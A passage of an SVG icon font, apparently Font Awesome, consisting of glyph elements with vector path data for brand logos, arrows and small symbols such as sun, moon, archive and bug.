<glyph unicode="&#xf166;" d="M919 233v157q0 50 -29 50q-17 0 -33 -16v-224q16 -16 33 -16q29 0 29 49zM1103 355h66v34q0 51 -33 51t-33 -51v-34zM532 621v-70h-80v-423h-74v423h-78v70h232zM733 495v-367h-67v40q-39 -45 -76 -45q-33 0 -42 28q-6 16 -6 54v290h66v-270q0 -24 1 -26q1 -15 15 -15 q20 0 42 31v280h67zM985 384v-146q0 -52 -7 -73q-12 -42 -53 -42q-35 0 -68 41v-36h-67v493h67v-161q32 40 68 40q41 0 53 -42q7 -21 7 -74zM1236 255v-9q0 -29 -2 -43q-3 -22 -15 -40q-27 -40 -80 -40q-52 0 -81 38q-21 27 -21 86v129q0 59 20 86q29 38 80 38t78 -38 q21 -28 21 -86v-76h-133v-65q0 -51 34 -51q24 0 30 26q0 1 0.5 7t0.5 16.5v21.5h68zM785 1079v-156q0 -51 -32 -51t-32 51v156q0 52 32 52t32 -52zM1318 366q0 177 -19 260q-10 44 -43 73.5t-76 34.5q-136 15 -412 15q-275 0 -411 -15q-44 -5 -76.5 -34.5t-42.5 -73.5 q-20 -87 -20 -260q0 -176 20 -260q10 -43 42.5 -73t75.5 -35q137 -15 412 -15t412 15q43 5 75.5 35t42.5 73q20 84 20 260zM563 1017l90 296h-75l-51 -195l-53 195h-78l24 -69t23 -69q35 -103 46 -158v-201h74v201zM852 936v130q0 58 -21 87q-29 38 -78 38q-51 0 -78 -38 q-21 -29 -21 -87v-130q0 -58 21 -87q27 -38 78 -38q49 0 78 38q21 27 21 87zM1033 816h67v370h-67v-283q-22 -31 -42 -31q-15 0 -16 16q-1 2 -1 26v272h-67v-293q0 -37 6 -55q11 -27 43 -27q36 0 77 45v-40zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960 q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf167;" d="M971 292v-211q0 -67 -39 -67q-23 0 -45 22v301q22 22 45 22q39 0 39 -67zM1309 291v-46h-90v46q0 68 45 68t45 -68zM343 509h107v94h-312v-94h105v-569h100v569zM631 -60h89v494h-89v-378q-30 -42 -57 -42q-18 0 -21 21q-1 3 -1 35v364h-89v-391q0 -49 8 -73 q12 -37 58 -37q48 0 102 61v-54zM1060 88v197q0 73 -9 99q-17 56 -71 56q-50 0 -93 -54v217h-89v-663h89v48q45 -55 93 -55q54 0 71 55q9 27 9 100zM1398 98v13h-91q0 -51 -2 -61q-7 -36 -40 -36q-46 0 -46 69v87h179v103q0 79 -27 116q-39 51 -106 51q-68 0 -107 -51 q-28 -37 -28 -116v-173q0 -79 29 -116q39 -51 108 -51q72 0 108 53q18 27 21 54q2 9 2 58zM790 1011v210q0 69 -43 69t-43 -69v-210q0 -70 43 -70t43 70zM1509 260q0 -234 -26 -350q-14 -59 -58 -99t-102 -46q-184 -21 -555 -21t-555 21q-58 6 -102.5 46t-57.5 99 q-26 112 -26 350q0 234 26 350q14 59 58 99t103 47q183 20 554 20t555 -20q58 -7 102.5 -47t57.5 -99q26 -112 26 -350zM511 1536h102l-121 -399v-271h-100v271q-14 74 -61 212q-37 103 -65 187h106l71 -263zM881 1203v-175q0 -81 -28 -118q-37 -51 -106 -51q-67 0 -105 51 q-28 38 -28 118v175q0 80 28 117q38 51 105 51q69 0 106 -51q28 -37 28 -117zM1216 1365v-499h-91v55q-53 -62 -103 -62q-46 0 -59 37q-8 24 -8 75v394h91v-367q0 -33 1 -35q3 -22 21 -22q27 0 57 43v381h91z" />
<glyph unicode="&#xf168;" horiz-adv-x="1408" d="M597 869q-10 -18 -257 -456q-27 -46 -65 -46h-239q-21 0 -31 17t0 36l253 448q1 0 0 1l-161 279q-12 22 -1 37q9 15 32 15h239q40 0 66 -45zM1403 1511q11 -16 0 -37l-528 -934v-1l336 -615q11 -20 1 -37q-10 -15 -32 -15h-239q-42 0 -66 45l-339 622q18 32 531 942 q25 45 64 45h241q22 0 31 -15z" />
<glyph unicode="&#xf169;" d="M685 771q0 1 -126 222q-21 34 -52 34h-184q-18 0 -26 -11q-7 -12 1 -29l125 -216v-1l-196 -346q-9 -14 0 -28q8 -13 24 -13h185q31 0 50 36zM1309 1268q-7 12 -24 12h-187q-30 0 -49 -35l-411 -729q1 -2 262 -481q20 -35 52 -35h184q18 0 25 12q8 13 -1 28l-260 476v1 l409 723q8 16 0 28zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf16a;" horiz-adv-x="1792" d="M1280 640q0 37 -30 54l-512 320q-31 20 -65 2q-33 -18 -33 -56v-640q0 -38 33 -56q16 -8 31 -8q20 0 34 10l512 320q30 17 30 54zM1792 640q0 -96 -1 -150t-8.5 -136.5t-22.5 -147.5q-16 -73 -69 -123t-124 -58q-222 -25 -671 -25t-671 25q-71 8 -124.5 58t-69.5 123 q-14 65 -21.5 147.5t-8.5 136.5t-1 150t1 150t8.5 136.5t22.5 147.5q16 73 69 123t124 58q222 25 671 25t671 -25q71 -8 124.5 -58t69.5 -123q14 -65 21.5 -147.5t8.5 -136.5t1 -150z" />
<glyph unicode="&#xf16b;" horiz-adv-x="1792" d="M402 829l494 -305l-342 -285l-490 319zM1388 274v-108l-490 -293v-1l-1 1l-1 -1v1l-489 293v108l147 -96l342 284v2l1 -1l1 1v-2l343 -284zM554 1418l342 -285l-494 -304l-338 270zM1390 829l338 -271l-489 -319l-343 285zM1239 1418l489 -319l-338 -270l-494 304z" />
<glyph unicode="&#xf16c;" d="M1289 -96h-1118v480h-160v-640h1438v640h-160v-480zM347 428l33 157l783 -165l-33 -156zM450 802l67 146l725 -339l-67 -145zM651 1158l102 123l614 -513l-102 -123zM1048 1536l477 -641l-128 -96l-477 641zM330 65v159h800v-159h-800z" />
<glyph unicode="&#xf16d;" d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1162 640q0 -164 -115 -279t-279 -115t-279 115t-115 279t115 279t279 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270 q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t-0.5 -76.5t0 -105.5t3 -96.5t10 -103t18.5 -71.5q20 -50 58 -88t88 -58q29 -11 71.5 -18.5t103 -10t96.5 -3t105.5 0t76.5 0.5 t76.5 -0.5t105.5 0t96.5 3t103 10t71.5 18.5q50 20 88 58t58 88q11 29 18.5 71.5t10 103t3 96.5t0 105.5t-0.5 76.5t0.5 76.5t0 105.5t-3 96.5t-10 103t-18.5 71.5q-20 50 -58 88t-88 58q-29 11 -71.5 18.5t-103 10t-96.5 3t-105.5 0t-76.5 -0.5zM1536 640q0 -229 -5 -317 q-10 -208 -124 -322t-322 -124q-88 -5 -317 -5t-317 5q-208 10 -322 124t-124 322q-5 88 -5 317t5 317q10 208 124 322t322 124q88 5 317 5t317 -5q208 -10 322 -124t124 -322q5 -88 5 -317z" />
<glyph unicode="&#xf16e;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM698 640q0 88 -62 150t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150zM1262 640q0 88 -62 150 t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150z" />
<glyph unicode="&#xf170;" d="M768 914l201 -306h-402zM1133 384h94l-459 691l-459 -691h94l104 160h522zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf171;" horiz-adv-x="1408" d="M815 677q8 -63 -50.5 -101t-111.5 -6q-39 17 -53.5 58t-0.5 82t52 58q36 18 72.5 12t64 -35.5t27.5 -67.5zM926 698q-14 107 -113 164t-197 13q-63 -28 -100.5 -88.5t-34.5 -129.5q4 -91 77.5 -155t165.5 -56q91 8 152 84t50 168zM1165 1240q-20 27 -56 44.5t-58 22 t-71 12.5q-291 47 -566 -2q-43 -7 -66 -12t-55 -22t-50 -43q30 -28 76 -45.5t73.5 -22t87.5 -11.5q228 -29 448 -1q63 8 89.5 12t72.5 21.5t75 46.5zM1222 205q-8 -26 -15.5 -76.5t-14 -84t-28.5 -70t-58 -56.5q-86 -48 -189.5 -71.5t-202 -22t-201.5 18.5q-46 8 -81.5 18 t-76.5 27t-73 43.5t-52 61.5q-25 96 -57 292l6 16l18 9q223 -148 506.5 -148t507.5 148q21 -6 24 -23t-5 -45t-8 -37zM1403 1166q-26 -167 -111 -655q-5 -30 -27 -56t-43.5 -40t-54.5 -31q-252 -126 -610 -88q-248 27 -394 139q-15 12 -25.5 26.5t-17 35t-9 34t-6 39.5 t-5.5 35q-9 50 -26.5 150t-28 161.5t-23.5 147.5t-22 158q3 26 17.5 48.5t31.5 37.5t45 30t46 22.5t48 18.5q125 46 313 64q379 37 676 -50q155 -46 215 -122q16 -20 16.5 -51t-5.5 -54z" />
<glyph unicode="&#xf172;" d="M848 666q0 43 -41 66t-77 1q-43 -20 -42.5 -72.5t43.5 -70.5q39 -23 81 4t36 72zM928 682q8 -66 -36 -121t-110 -61t-119 40t-56 113q-2 49 25.5 93t72.5 64q70 31 141.5 -10t81.5 -118zM1100 1073q-20 -21 -53.5 -34t-53 -16t-63.5 -8q-155 -20 -324 0q-44 6 -63 9.5 t-52.5 16t-54.5 32.5q13 19 36 31t40 15.5t47 8.5q198 35 408 1q33 -5 51 -8.5t43 -16t39 -31.5zM1142 327q0 7 5.5 26.5t3 32t-17.5 16.5q-161 -106 -365 -106t-366 106l-12 -6l-5 -12q26 -154 41 -210q47 -81 204 -108q249 -46 428 53q34 19 49 51.5t22.5 85.5t12.5 71z M1272 1020q9 53 -8 75q-43 55 -155 88q-216 63 -487 36q-132 -12 -226 -46q-38 -15 -59.5 -25t-47 -34t-29.5 -54q8 -68 19 -138t29 -171t24 -137q1 -5 5 -31t7 -36t12 -27t22 -28q105 -80 284 -100q259 -28 440 63q24 13 39.5 23t31 29t19.5 40q48 267 80 473zM1536 1120 v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf173;" horiz-adv-x="1024" d="M944 207l80 -237q-23 -35 -111 -66t-177 -32q-104 -2 -190.5 26t-142.5 74t-95 106t-55.5 120t-16.5 118v544h-168v215q72 26 129 69.5t91 90t58 102t34 99t15 88.5q1 5 4.5 8.5t7.5 3.5h244v-424h333v-252h-334v-518q0 -30 6.5 -56t22.5 -52.5t49.5 -41.5t81.5 -14 q78 2 134 29z" />
<glyph unicode="&#xf174;" d="M1136 75l-62 183q-44 -22 -103 -22q-36 -1 -62 10.5t-38.5 31.5t-17.5 40.5t-5 43.5v398h257v194h-256v326h-188q-8 0 -9 -10q-5 -44 -17.5 -87t-39 -95t-77 -95t-118.5 -68v-165h130v-418q0 -57 21.5 -115t65 -111t121 -85.5t176.5 -30.5q69 1 136.5 25t85.5 50z M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf175;" horiz-adv-x="768" d="M765 237q8 -19 -5 -35l-350 -384q-10 -10 -23 -10q-14 0 -24 10l-355 384q-13 16 -5 35q9 19 29 19h224v1248q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1248h224q21 0 29 -19z" />
<glyph unicode="&#xf176;" horiz-adv-x="768" d="M765 1043q-9 -19 -29 -19h-224v-1248q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1248h-224q-21 0 -29 19t5 35l350 384q10 10 23 10q14 0 24 -10l355 -384q13 -16 5 -35z" />
<glyph unicode="&#xf177;" horiz-adv-x="1792" d="M1792 736v-192q0 -14 -9 -23t-23 -9h-1248v-224q0 -21 -19 -29t-35 5l-384 350q-10 10 -10 23q0 14 10 24l384 354q16 14 35 6q19 -9 19 -29v-224h1248q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf178;" horiz-adv-x="1792" d="M1728 643q0 -14 -10 -24l-384 -354q-16 -14 -35 -6q-19 9 -19 29v224h-1248q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h1248v224q0 21 19 29t35 -5l384 -350q10 -10 10 -23z" />
<glyph unicode="&#xf179;" horiz-adv-x="1408" d="M1393 321q-39 -125 -123 -250q-129 -196 -257 -196q-49 0 -140 32q-86 32 -151 32q-61 0 -142 -33q-81 -34 -132 -34q-152 0 -301 259q-147 261 -147 503q0 228 113 374q112 144 284 144q72 0 177 -30q104 -30 138 -30q45 0 143 34q102 34 173 34q119 0 213 -65 q52 -36 104 -100q-79 -67 -114 -118q-65 -94 -65 -207q0 -124 69 -223t158 -126zM1017 1494q0 -61 -29 -136q-30 -75 -93 -138q-54 -54 -108 -72q-37 -11 -104 -17q3 149 78 257q74 107 250 148q1 -3 2.5 -11t2.5 -11q0 -4 0.5 -10t0.5 -10z" />
<glyph unicode="&#xf17a;" horiz-adv-x="1664" d="M682 530v-651l-682 94v557h682zM682 1273v-659h-682v565zM1664 530v-786l-907 125v661h907zM1664 1408v-794h-907v669z" />
<glyph unicode="&#xf17b;" horiz-adv-x="1408" d="M493 1053q16 0 27.5 11.5t11.5 27.5t-11.5 27.5t-27.5 11.5t-27 -11.5t-11 -27.5t11 -27.5t27 -11.5zM915 1053q16 0 27 11.5t11 27.5t-11 27.5t-27 11.5t-27.5 -11.5t-11.5 -27.5t11.5 -27.5t27.5 -11.5zM103 869q42 0 72 -30t30 -72v-430q0 -43 -29.5 -73t-72.5 -30 t-73 30t-30 73v430q0 42 30 72t73 30zM1163 850v-666q0 -46 -32 -78t-77 -32h-75v-227q0 -43 -30 -73t-73 -30t-73 30t-30 73v227h-138v-227q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73l-1 227h-74q-46 0 -78 32t-32 78v666h918zM931 1255q107 -55 171 -153.5t64 -215.5 h-925q0 117 64 215.5t172 153.5l-71 131q-7 13 5 20q13 6 20 -6l72 -132q95 42 201 42t201 -42l72 132q7 12 20 6q12 -7 5 -20zM1408 767v-430q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73v430q0 43 30 72.5t72 29.5q43 0 73 -29.5t30 -72.5z" />
<glyph unicode="&#xf17c;" d="M663 1125q-11 -1 -15.5 -10.5t-8.5 -9.5q-5 -1 -5 5q0 12 19 15h10zM750 1111q-4 -1 -11.5 6.5t-17.5 4.5q24 11 32 -2q3 -6 -3 -9zM399 684q-4 1 -6 -3t-4.5 -12.5t-5.5 -13.5t-10 -13q-7 -10 -1 -12q4 -1 12.5 7t12.5 18q1 3 2 7t2 6t1.5 4.5t0.5 4v3t-1 2.5t-3 2z M1254 325q0 18 -55 42q4 15 7.5 27.5t5 26t3 21.5t0.5 22.5t-1 19.5t-3.5 22t-4 20.5t-5 25t-5.5 26.5q-10 48 -47 103t-72 75q24 -20 57 -83q87 -162 54 -278q-11 -40 -50 -42q-31 -4 -38.5 18.5t-8 83.5t-11.5 107q-9 39 -19.5 69t-19.5 45.5t-15.5 24.5t-13 15t-7.5 7 q-14 62 -31 103t-29.5 56t-23.5 33t-15 40q-4 21 6 53.5t4.5 49.5t-44.5 25q-15 3 -44.5 18t-35.5 16q-8 1 -11 26t8 51t36 27q37 3 51 -30t4 -58q-11 -19 -2 -26.5t30 -0.5q13 4 13 36v37q-5 30 -13.5 50t-21 30.5t-23.5 15t-27 7.5q-107 -8 -89 -134q0 -15 -1 -15 q-9 9 -29.5 10.5t-33 -0.5t-15.5 5q1 57 -16 90t-45 34q-27 1 -41.5 -27.5t-16.5 -59.5q-1 -15 3.5 -37t13 -37.5t15.5 -13.5q10 3 16 14q4 9 -7 8q-7 0 -15.5 14.5t-9.5 33.5q-1 22 9 37t34 14q17 0 27 -21t9.5 -39t-1.5 -22q-22 -15 -31 -29q-8 -12 -27.5 -23.5 t-20.5 -12.5q-13 -14 -15.5 -27t7.5 -18q14 -8 25 -19.5t16 -19t18.5 -13t35.5 -6.5q47 -2 102 15q2 1 23 7t34.5 10.5t29.5 13t21 17.5q9 14 20 8q5 -3 6.5 -8.5t-3 -12t-16.5 -9.5q-20 -6 -56.5 -21.5t-45.5 -19.5q-44 -19 -70 -23q-25 -5 -79 2q-10 2 -9 -2t17 -19 q25 -23 67 -22q17 1 36 7t36 14t33.5 17.5t30 17t24.5 12t17.5 2.5t8.5 -11q0 -2 -1 -4.5t-4 -5t-6 -4.5t-8.5 -5t-9 -4.5t-10 -5t-9.5 -4.5q-28 -14 -67.5 -44t-66.5 -43t-49 -1q-21 11 -63 73q-22 31 -25 22q-1 -3 -1 -10q0 -25 -15 -56.5t-29.5 -55.5t-21 -58t11.5 -63 q-23 -6 -62.5 -90t-47.5 -141q-2 -18 -1.5 -69t-5.5 -59q-8 -24 -29 -3q-32 31 -36 94q-2 28 4 56q4 19 -1 18l-4 -5q-36 -65 10 -166q5 -12 25 -28t24 -20q20 -23 104 -90.5t93 -76.5q16 -15 17.5 -38t-14 -43t-45.5 -23q8 -15 29 -44.5t28 -54t7 -70.5q46 24 7 92 q-4 8 -10.5 16t-9.5 12t-2 6q3 5 13 9.5t20 -2.5q46 -52 166 -36q133 15 177 87q23 38 34 30q12 -6 10 -52q-1 -25 -23 -92q-9 -23 -6 -37.5t24 -15.5q3 19 14.5 77t13.5 90q2 21 -6.5 73.5t-7.5 97t23 70.5q15 18 51 18q1 37 34.5 53t72.5 10.5t60 -22.5zM626 1152 q3 17 -2.5 30t-11.5 15q-9 2 -9 -7q2 -5 5 -6q10 0 7 -15q-3 -20 8 -20q3 0 3 3zM1045 955q-2 8 -6.5 11.5t-13 5t-14.5 5.5q-5 3 -9.5 8t-7 8t-5.5 6.5t-4 4t-4 -1.5q-14 -16 7 -43.5t39 -31.5q9 -1 14.5 8t3.5 20zM867 1168q0 11 -5 19.5t-11 12.5t-9 3q-14 -1 -7 -7l4 -2 q14 -4 18 -31q0 -3 8 2zM921 1401q0 2 -2.5 5t-9 7t-9.5 6q-15 15 -24 15q-9 -1 -11.5 -7.5t-1 -13t-0.5 -12.5q-1 -4 -6 -10.5t-6 -9t3 -8.5q4 -3 8 0t11 9t15 9q1 1 9 1t15 2t9 7zM1486 60q20 -12 31 -24.5t12 -24t-2.5 -22.5t-15.5 -22t-23.5 -19.5t-30 -18.5 t-31.5 -16.5t-32 -15.5t-27 -13q-38 -19 -85.5 -56t-75.5 -64q-17 -16 -68 -19.5t-89 14.5q-18 9 -29.5 23.5t-16.5 25.5t-22 19.5t-47 9.5q-44 1 -130 1q-19 0 -57 -1.5t-58 -2.5q-44 -1 -79.5 -15t-53.5 -30t-43.5 -28.5t-53.5 -11.5q-29 1 -111 31t-146 43q-19 4 -51 9.5 t-50 9t-39.5 9.5t-33.5 14.5t-17 19.5q-10 23 7 66.5t18 54.5q1 16 -4 40t-10 42.5t-4.5 36.5t10.5 27q14 12 57 14t60 12q30 18 42 35t12 51q21 -73 -32 -106q-32 -20 -83 -15q-34 3 -43 -10q-13 -15 5 -57q2 -6 8 -18t8.5 -18t4.5 -17t1 -22q0 -15 -17 -49t-14 -48 q3 -17 37 -26q20 -6 84.5 -18.5t99.5 -20.5q24 -6 74 -22t82.5 -23t55.5 -4q43 6 64.5 28t23 48t-7.5 58.5t-19 52t-20 36.5q-121 190 -169 242q-68 74 -113 40q-11 -9 -15 15q-3 16 -2 38q1 29 10 52t24 47t22 42q8 21 26.5 72t29.5 78t30 61t39 54q110 143 124 195 q-12 112 -16 310q-2 90 24 151.5t106 104.5q39 21 104 21q53 1 106 -13.5t89 -41.5q57 -42 91.5 -121.5t29.5 -147.5q-5 -95 30 -214q34 -113 133 -218q55 -59 99.5 -163t59.5 -191q8 -49 5 -84.5t-12 -55.5t-20 -22q-10 -2 -23.5 -19t-27 -35.5t-40.5 -33.5t-61 -14 q-18 1 -31.5 5t-22.5 13.5t-13.5 15.5t-11.5 20.5t-9 19.5q-22 37 -41 30t-28 -49t7 -97q20 -70 1 -195q-10 -65 18 -100.5t73 -33t85 35.5q59 49 89.5 66.5t103.5 42.5q53 18 77 36.5t18.5 34.5t-25 28.5t-51.5 23.5q-33 11 -49.5 48t-15 72.5t15.5 47.5q1 -31 8 -56.5 t14.5 -40.5t20.5 -28.5t21 -19t21.5 -13t16.5 -9.5z" />
<glyph unicode="&#xf17d;" d="M1024 36q-42 241 -140 498h-2l-2 -1q-16 -6 -43 -16.5t-101 -49t-137 -82t-131 -114.5t-103 -148l-15 11q184 -150 418 -150q132 0 256 52zM839 643q-21 49 -53 111q-311 -93 -673 -93q-1 -7 -1 -21q0 -124 44 -236.5t124 -201.5q50 89 123.5 166.5t142.5 124.5t130.5 81 t99.5 48l37 13q4 1 13 3.5t13 4.5zM732 855q-120 213 -244 378q-138 -65 -234 -186t-128 -272q302 0 606 80zM1416 536q-210 60 -409 29q87 -239 128 -469q111 75 185 189.5t96 250.5zM611 1277q-1 0 -2 -1q1 1 2 1zM1201 1132q-185 164 -433 164q-76 0 -155 -19 q131 -170 246 -382q69 26 130 60.5t96.5 61.5t65.5 57t37.5 40.5zM1424 647q-3 232 -149 410l-1 -1q-9 -12 -19 -24.5t-43.5 -44.5t-71 -60.5t-100 -65t-131.5 -64.5q25 -53 44 -95q2 -6 6.5 -17.5t7.5 -16.5q36 5 74.5 7t73.5 2t69 -1.5t64 -4t56.5 -5.5t48 -6.5t36.5 -6 t25 -4.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf17e;" d="M1173 473q0 50 -19.5 91.5t-48.5 68.5t-73 49t-82.5 34t-87.5 23l-104 24q-30 7 -44 10.5t-35 11.5t-30 16t-16.5 21t-7.5 30q0 77 144 77q43 0 77 -12t54 -28.5t38 -33.5t40 -29t48 -12q47 0 75.5 32t28.5 77q0 55 -56 99.5t-142 67.5t-182 23q-68 0 -132 -15.5 t-119.5 -47t-89 -87t-33.5 -128.5q0 -61 19 -106.5t56 -75.5t80 -48.5t103 -32.5l146 -36q90 -22 112 -36q32 -20 32 -60q0 -39 -40 -64.5t-105 -25.5q-51 0 -91.5 16t-65 38.5t-45.5 45t-46 38.5t-54 16q-50 0 -75.5 -30t-25.5 -75q0 -92 122 -157.5t291 -65.5 q73 0 140 18.5t122.5 53.5t88.5 93.5t33 131.5zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5q-130 0 -234 80q-77 -16 -150 -16q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5q0 73 16 150q-80 104 -80 234q0 159 112.5 271.5t271.5 112.5q130 0 234 -80 q77 16 150 16q143 0 273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -73 -16 -150q80 -104 80 -234z" />
<glyph unicode="&#xf180;" horiz-adv-x="1280" d="M1000 1102l37 194q5 23 -9 40t-35 17h-712q-23 0 -38.5 -17t-15.5 -37v-1101q0 -7 6 -1l291 352q23 26 38 33.5t48 7.5h239q22 0 37 14.5t18 29.5q24 130 37 191q4 21 -11.5 40t-36.5 19h-294q-29 0 -48 19t-19 48v42q0 29 19 47.5t48 18.5h346q18 0 35 13.5t20 29.5z M1227 1324q-15 -73 -53.5 -266.5t-69.5 -350t-35 -173.5q-6 -22 -9 -32.5t-14 -32.5t-24.5 -33t-38.5 -21t-58 -10h-271q-13 0 -22 -10q-8 -9 -426 -494q-22 -25 -58.5 -28.5t-48.5 5.5q-55 22 -55 98v1410q0 55 38 102.5t120 47.5h888q95 0 127 -53t10 -159zM1227 1324 l-158 -790q4 17 35 173.5t69.5 350t53.5 266.5z" />
<glyph unicode="&#xf181;" d="M704 192v1024q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-1024q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1376 576v640q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-640q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408 q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf182;" horiz-adv-x="1280" d="M1280 480q0 -40 -28 -68t-68 -28q-51 0 -80 43l-227 341h-45v-132l247 -411q9 -15 9 -33q0 -26 -19 -45t-45 -19h-192v-272q0 -46 -33 -79t-79 -33h-160q-46 0 -79 33t-33 79v272h-192q-26 0 -45 19t-19 45q0 18 9 33l247 411v132h-45l-227 -341q-29 -43 -80 -43 q-40 0 -68 28t-28 68q0 29 16 53l256 384q73 107 176 107h384q103 0 176 -107l256 -384q16 -24 16 -53zM864 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
<glyph unicode="&#xf183;" horiz-adv-x="1024" d="M1024 832v-416q0 -40 -28 -68t-68 -28t-68 28t-28 68v352h-64v-912q0 -46 -33 -79t-79 -33t-79 33t-33 79v464h-64v-464q0 -46 -33 -79t-79 -33t-79 33t-33 79v912h-64v-352q0 -40 -28 -68t-68 -28t-68 28t-28 68v416q0 80 56 136t136 56h640q80 0 136 -56t56 -136z M736 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
<glyph unicode="&#xf184;" d="M773 234l350 473q16 22 24.5 59t-6 85t-61.5 79q-40 26 -83 25.5t-73.5 -17.5t-54.5 -45q-36 -40 -96 -40q-59 0 -95 40q-24 28 -54.5 45t-73.5 17.5t-84 -25.5q-46 -31 -60.5 -79t-6 -85t24.5 -59zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103 t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf185;" horiz-adv-x="1792" d="M1472 640q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5t45.5 -223.5t123 -184t184 -123t223.5 -45.5t223.5 45.5t184 123t123 184t45.5 223.5zM1748 363q-4 -15 -20 -20l-292 -96v-306q0 -16 -13 -26q-15 -10 -29 -4 l-292 94l-180 -248q-10 -13 -26 -13t-26 13l-180 248l-292 -94q-14 -6 -29 4q-13 10 -13 26v306l-292 96q-16 5 -20 20q-5 17 4 29l180 248l-180 248q-9 13 -4 29q4 15 20 20l292 96v306q0 16 13 26q15 10 29 4l292 -94l180 248q9 12 26 12t26 -12l180 -248l292 94 q14 6 29 -4q13 -10 13 -26v-306l292 -96q16 -5 20 -20q5 -16 -4 -29l-180 -248l180 -248q9 -12 4 -29z" />
<glyph unicode="&#xf186;" d="M1262 233q-54 -9 -110 -9q-182 0 -337 90t-245 245t-90 337q0 192 104 357q-201 -60 -328.5 -229t-127.5 -384q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51q144 0 273.5 61.5t220.5 171.5zM1465 318q-94 -203 -283.5 -324.5t-413.5 -121.5q-156 0 -298 61 t-245 164t-164 245t-61 298q0 153 57.5 292.5t156 241.5t235.5 164.5t290 68.5q44 2 61 -39q18 -41 -15 -72q-86 -78 -131.5 -181.5t-45.5 -218.5q0 -148 73 -273t198 -198t273 -73q118 0 228 51q41 18 72 -13q14 -14 17.5 -34t-4.5 -38z" />
<glyph unicode="&#xf187;" horiz-adv-x="1792" d="M1088 704q0 26 -19 45t-45 19h-256q-26 0 -45 -19t-19 -45t19 -45t45 -19h256q26 0 45 19t19 45zM1664 896v-960q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v960q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1728 1344v-256q0 -26 -19 -45t-45 -19h-1536 q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1536q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf188;" horiz-adv-x="1664" d="M1632 576q0 -26 -19 -45t-45 -19h-224q0 -171 -67 -290l208 -209q19 -19 19 -45t-19 -45q-18 -19 -45 -19t-45 19l-198 197q-5 -5 -15 -13t-42 -28.5t-65 -36.5t-82 -29t-97 -13v896h-128v-896q-51 0 -101.5 13.5t-87 33t-66 39t-43.5 32.5l-15 14l-183 -207 q-20 -21 -48 -21q-24 0 -43 16q-19 18 -20.5 44.5t15.5 46.5l202 227q-58 114 -58 274h-224q-26 0 -45 19t-19 45t19 45t45 19h224v294l-173 173q-19 19 -19 45t19 45t45 19t45 -19l173 -173h844l173 173q19 19 45 19t45 -19t19 -45t-19 -45l-173 -173v-294h224q26 0 45 -19 t19 -45zM1152 1152h-640q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5z" />
